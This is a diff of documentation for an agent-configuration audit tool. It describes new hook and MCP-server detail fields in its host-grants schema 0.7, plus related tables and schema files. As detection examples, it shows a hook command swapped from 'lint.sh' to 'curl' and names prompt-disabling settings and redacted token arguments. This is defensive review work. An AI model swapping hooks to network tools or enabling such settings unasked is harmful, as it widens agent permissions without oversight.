a/docs/agent-contract-current.md b/docs/agent-contract-current.md index b61277bf8..5a4963740 100644 --- a/docs/agent-contract-current.md +++ b/docs/agent-contract-current.md @@ -44,6 +44,24 @@ directory, still refuses its comparison. A `0.20` verifier claiming a partial comparison or a `scope` is refused. See [the migration note](../STABILITY.md#partial-host-comparison-808). +The same unreleased runtime contract v41 also names what changed in a hook and +in an MCP server's launch arguments (#819). Host-grants inventory, baseline and +drift schemas move to `0.7`: a hook grant adds `handlers[]` (each handler's +group `matcher`, its `command` as `{executable, sha256}` and its `timeout`) +and `omitted_handlers`, and an MCP server grant adds `package` and +`args_sha256`. No command or argument text is published: a command is its +executable's name, when that is a plain token, and a digest; the arguments are +one package specification of a strict shape and a digest of the rest. A hook +row names the changed field, `PostToolUse: matcher Edit → Edit|Write|Bash` or +`command changed` with both digests, and a version pin moving to `@latest` is +a `package` difference, in the text and in `review.changes[].change`. The +members display what `config_sha256` already binds, so grant equality and the +inventory digests leave them out: they move no row value, row count, verifier +or capability-diff schema, a `0.6` baseline stays comparable with no new row +or reason, and `minimum_control_contract_version` stays `21`. A saved baseline +holds none of the members. See +[the migration note](../STABILITY.md#hook-mcp-detail-fields-819). + Previous runtime contract v40 reads the action reference each workflow step declares (#771). Host-grants inventory, baseline and drift schemas move to `0.6`, and a workflow grant adds `step_actions[]`: the job, the step (`id`, else `name`, @@ -735,7 +753,7 @@ Downstream repos generated with - Current attestation schema: `0.5` — [`docs/attestation-schema.v0.5.json`](attestation-schema.v0.5.json) - Current registry schema: `0.4` — [`docs/registry-schema.v0.4.json`](registry-schema.v0.4.json) - Current org evidence bundle schema: `shipgate.org_evidence_bundle/v2` — [`docs/org-evidence-bundle-schema.v2.json`](org-evidence-bundle-schema.v2.json) -- Current host-grants inventory, baseline, and drift schemas: `0.6` — [`inventory`](host-grants-inventory-schema.v0.6.json), [`baseline`](host-grants-baseline-schema.v0.6.json), [`drift`](host-grants-drift-schema.v0.6.json) +- Current host-grants inventory, baseline, and drift schemas: `0.7` — [`inventory`](host-grants-inventory-schema.v0.7.json), [`baseline`](host-grants-baseline-schema.v0.7.json), [`drift`](host-grants-drift-schema.v0.7.json) - Current trigger catalog schema: `0.4` — [`docs/triggers.json`](triggers.json) - Current governance benchmark catalog schema: `0.2` — [`docs/governance-benchmark-catalog-schema.v0.2.json`](governance-benchmark-catalog-schema.v0.2.json) - Current governance benchmark result schema: `0.2` — [`docs/governance-benchmark-result-schema.v0.2.json`](governance-benchmark-result-schema.v0.2.json) diff --git a/docs/design-partner-pilot-results.md b/docs/design-partner-pilot-results.md index 5f77e2ab9..d308757cd 100644 --- a/docs/design-partner-pilot-results.md +++ b/docs/design-partner-pilot-results.md @@ -110,6 +110,23 @@ against 0.21) and in the members #821 adds to the coverage block: each item's unexamined. This fixture changes only the two files the entry reads, so #821 names nothing on it and `read_sources_only` stays `true`. +#819 then published hook and MCP launch detail and moved the host-grant +inventory schema to 0.7 within the same contract. With both in the tree, the +source-tree column was rerun on 2026-09-23 from this tree's source, beside the +`v1.1.0` release commit (`e3c6cb0c`) exported and run the same way, on the +fixture rebuilt from the description below. The cells are the ones above: +`check` blocking with four violations and the same boundary result byte for +byte, the host-only `init` handoff with no file written, manifest-free `verify` +exiting 0 with six advisory rows, drift naming all four expansion signals, and +`diff` exiting 0, `comparable`, with the same six rows, four widening, its text +identical apart from the fixture's commit ids. The JSON differs only in schema +versions (capability diff 0.3 against 0.4, verifier 0.20 against 0.21, +host-grant inventory 0.6 against 0.7), in #821's coverage members as above, in +`init --json`'s contract version and input id, and in drift's added +`payments-remote` grant, which carries #819's `package: null` and +`args_sha256: null`. This fixture has no hook, and `billing`'s arguments do not +change. + An older release, `v0.15.0`, measured on 2026-09-05, did not. It reported runtime contract 10 and inventory schema 0.1; `check` returned `warn` / `none` with 0 violations and no coverage surface; `init --write --ci` pinned @@ -119,7 +136,7 @@ expansion signals. It shipped as a qualified release. | | Released `v1.1.0` (`pip install`) | Preview `0.16.0+preview.20260903` (`gh release download`) | Source tree | | --- | --- | --- | --- | | Runtime contract | 40 | 29 | 41 | -| Host-grant inventory schema | 0.6 | 0.2 | 0.6 | +| Host-grant inventory schema | 0.6 | 0.2 | 0.7 | | `check` on the fixture | `block` / `critical`, **4 violations** | `block` / `critical`, **4 violations** | `block` / `critical`, **4 violations** | | Coverage limit visible (`host_coverage`, `excluded_scopes`) | yes | yes | yes | | `init --write --ci` Action pin | not applicable — host audit handoff, no workflow written | `@v0.16.0+preview.20260903.gb61aca7` — **no such tag** (the release tag is `preview-`-prefixed) | not applicable — host audit handoff, no workflow written | diff --git a/docs/distribution-surfaces.md b/docs/distribution-surfaces.md index 95a975151..ac8d47abb 100644 --- a/docs/distribution-surfaces.md +++ b/docs/distribution-surfaces.md @@ -74,7 +74,7 @@ and this document are checked against each other by | `human_review_request` | `docs/human-review-request.md` | `release_decision_vocabulary` | `test_surface_enumerations_match_the_engine_vocabulary` | One complete-evidence documentation-quality class only; no authority or decision ingestion. | | `human_review_decision` | `docs/human-review-decision.md` | `release_decision_vocabulary` | `test_surface_enumerations_match_the_engine_vocabulary` | Host-neutral read-only evaluator; no GitHub acquisition, persistence or operation authority. | | `github_action` | `action.yml`, `scripts/github_action_outputs.py` | `merge_verdict_vocabulary` | `test_action_input_enumerates_engine_merge_verdicts`, `test_action_output_script_shares_the_engine_merge_verdicts` | The paired `shipgate_wheel`/`shipgate_wheel_sha256` inputs install a caller-supplied local wheel instead of a published version, so that route names no channel and claims no `executable_pin`; it is refused unless both halves are given, and it installs `--no-deps`. `tests/test_action_engine_install.py` proves the refusals. Every `python` the Action starts in the workspace runs with `-P` or as a script path, so a pull request's `pip/` or `agents_shipgate/` package cannot stand in for pip or the engine; the same file executes the install and merge-verdict steps against such a checkout. The `v1.0.0` tag predates that fix; the published `v1.1.0` carries it. | -| `capability_diff` | `src/agents_shipgate/cli/diff.py`, `src/agents_shipgate/core/capability_diff_rows.py`, `src/agents_shipgate/core/host_comparison.py`, `src/agents_shipgate/report/host_comparison.py`, `src/agents_shipgate/core/unread_inputs.py`, `src/agents_shipgate/cli/verify/changed_inputs.py` | — | — | Answers no question the engine answers: it emits no verdict, no release decision and no pin. Every field is read from the drift payload the engine already produces — `risk` is the engine's severity and `expansion_signals` is the engine's word on widening — so there is no second implementation to drift. A `permission_mode` or `sandbox` row names the setting and its value as the file spells it (`enableAllProjectMcpServers: true`, `defaultMode: dontAsk`), recovered from the grant's published value and digest, and a Claude Code setting's `why` is the basis the engine's one setting table (`core/host_settings.py`) records for the value; that table also rates the grant and `check`'s violation, so a row's severity and the violation's risk give one answer (#827, `tests/test_prompt_disabling_settings.py`). `verify`/PR and `check` reuse the host comparator (#684, `tests/test_manifest_free_pr_rows.py`), and the source name each named reusable-workflow secret refers to, also non-widening, with a redacting name or target refused rather than compared, and an unreadable value neither compared nor named on this surface — only the host inventory and `audit --host` name its `job/destination`, as on `1.0.0` (#693, `tests/test_reusable_workflow_secret_mappings.py`); check retains argument redaction and its existing local-policy control. Missing comparison evidence never supplies empty comparable rows. Host route only; workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`) and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL and the env and header key names its grant already publishes, redacted and bounded, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or arguments; an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before. A `0.20` verifier claiming a partial comparison or a scope is refused. | +| `capability_diff` | `src/agents_shipgate/cli/diff.py`, `src/agents_shipgate/core/capability_diff_rows.py`, `src/agents_shipgate/core/host_comparison.py`, `src/agents_shipgate/report/host_comparison.py`, `src/agents_shipgate/core/unread_inputs.py`, `src/agents_shipgate/cli/verify/changed_inputs.py` | — | — | Answers no question the engine answers: it emits no verdict, no release decision and no pin. Every field is read from the drift payload the engine already produces — `risk` is the engine's severity and `expansion_signals` is the engine's word on widening — so there is no second implementation to drift. A `permission_mode` or `sandbox` row names the setting and its value as the file spells it (`enableAllProjectMcpServers: true`, `defaultMode: dontAsk`), recovered from the grant's published value and digest, and a Claude Code setting's `why` is the basis the engine's one setting table (`core/host_settings.py`) records for the value; that table also rates the grant and `check`'s violation, so a row's severity and the violation's risk give one answer (#827, `tests/test_prompt_disabling_settings.py`). `verify`/PR and `check` reuse the host comparator (#684, `tests/test_manifest_free_pr_rows.py`), and the source name each named reusable-workflow secret refers to, also non-widening, with a redacting name or target refused rather than compared, and an unreadable value neither compared nor named on this surface — only the host inventory and `audit --host` name its `job/destination`, as on `1.0.0` (#693, `tests/test_reusable_workflow_secret_mappings.py`); check retains permission-rule argument redaction and its existing local-policy control. Missing comparison evidence never supplies empty comparable rows. Host route only; workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`) and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its package and argument digest (#819) and the env and header key names its grant already publishes, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or another setting; a hook with each handler field that changed — its group's matcher, its command as its executable's name and digest, its timeout — before and after, a handler only one side declares, or the published handlers in a different order with a detail not shown that may also differ, and past the handler bound the same kind of sentence naming a handler past it, all read from the handlers its host-grants `0.7` grant publishes, which hold no command or argument text, and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out, a saved baseline holds none of them, and no row, row value, reason, digest or control answer moves; the PR comment gives the lines 1.1.0 printed their room first, the coverage block included, and prints an entry whole when the whole comment fits, otherwise cut to the widest length of at least 60 characters at which it does, or else in its shortest form (a difference cut after its name, an added or removed grant as its row), never longer than the entry 1.1.0 printed, with one line naming `verifier.json`, so no long entry hides a row, the coverage block, the change count, the review question, the reproduction or the advisory that 1.1.0 kept (#819 review, cycles 4 and 6); an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before. A `0.20` verifier claiming a partial comparison or a scope is refused. | | `zero_install_detector` | `tools/shipgate-detect.py` | `agent_project_verdict` | `test_detector_verdict_matches_cli` | Emits no `diagnostics[]` and no `next_actions[]`; evidence strings and framework scores are simplified. See the script's own "Intentional simplifications". | | `emitted_ci_workflow` | `src/agents_shipgate/cli/discovery/ci_workflow.py` | `executable_pin` | `tests/test_adopter_pins_resolve.py::test_the_emitted_workflow_pins_the_release_and_not_the_source_tree`, `tests/test_release_source.py::test_candidate_workflow_uses_immutable_source_before_and_after_publication` | Ordinary/source/preview builds use the published fallback; a stamped candidate pins its verified Action SHA and package version. Before publication its smoke substitutes the exact local wheel inputs. Provenance asserts no qualification. | | `prompts` | `prompts/` | `contract_floor`, `executable_pin`, `placeholder_ownership`, `release_decision_vocabulary` | `test_executable_pin_resolves_in_a_published_channel`, `test_surface_enumerations_match_the_engine_vocabulary`, `test_surface_routes_human_owned_placeholders_to_a_human`, `tests/test_adopter_pins_resolve.py::test_every_pin_init_writes_into_an_adopter_repo_names_the_published_release`, `tests/test_adopter_pins_resolve.py::test_the_shipped_floor_is_decided_against_the_release_the_prompts_pin` | — | diff --git a/docs/host-boundary-support.md b/docs/host-boundary-support.md index 62d780c59..f57d412a8 100644 --- a/docs/host-boundary-support.md +++ b/docs/host-boundary-support.md @@ -161,6 +161,35 @@ beside either. A step label is read for userinfo only in a token holding `scheme://`, so a scheme-less `user:password@host` in a step name is not read as userinfo. +A hook row names what changed in the hook, and an MCP row a change to the +server's launch arguments (#819), without publishing any command or argument +text. A hook grant publishes each handler under its event: the group's +`matcher`, through the published-label redaction (a matcher longer than 1,024 +characters, as `config_sha256`'s input holds it, is ``); its command as the name of its executable — the +last path segment of its first word, only when that is a plain token and the +word is no URL, otherwise `` — and a SHA-256 digest of the whole +command; and its `timeout`. So a matcher, command or timeout edit reads +`PostToolUse: matcher Edit → Edit|Write|Bash`, +`PostToolUse: command changed (lint.sh sha256:… → curl sha256:…)` or +`PostToolUse: timeout 10 → 600` rather than `PostToolUse → PostToolUse`. An +MCP server grant publishes, from its arguments, only a package specification +of a strict shape (npm `name@version`, PyPI `name==version`, an OCI image with +a tag or digest) and a digest of the rest, so a version pin moving to +`@latest` reads `package example-mcp-server@1.2.3 → example-mcp-server@latest` +and any other argument edit `launch arguments changed` with both digests. The +detail is a display of the declaration, never an input to the comparison: the +command is not resolved or run, the script it names is not read (#702), and +the digests are of the configuration as `config_sha256`'s input holds it. A +value that input already redacts, such as the value after `--token`, +`--api-key` or `--password`, a `--password=…` value, an `X-Api-Key:` header +value or a URL's path, moves no digest, so a change confined to it is no row, +as before. A saved baseline holds none of +this detail, so nothing read from a user, managed or git-ignored settings file +reaches the committed file. A hook declaration outside the documented shape +publishes no handlers, and its row says the matcher, command and timeout are +not shown; when only one side is outside it, the row names that side and lists +the other side's handlers. + A hook row states its loading basis (#714). Parsing a hook file proves the file exists, not that a host loads it, so hooks are published four ways: diff --git a/docs/host-grants-baseline-schema.v0.7.json b/docs/host-grants-baseline-schema.v0.7.json new file mode 100644 index 000000000..839fc5aa5 --- /dev/null +++ b/docs/host-grants-baseline-schema.v0.7.json @@ -0,0 +1,1566 @@ +{ + "$defs": { + "HostAdditionalPathGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "additional_path", + "default": "additional_path", + "title": "Kind", + "type": "string" + }, + "path": { + "title": "Path", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", 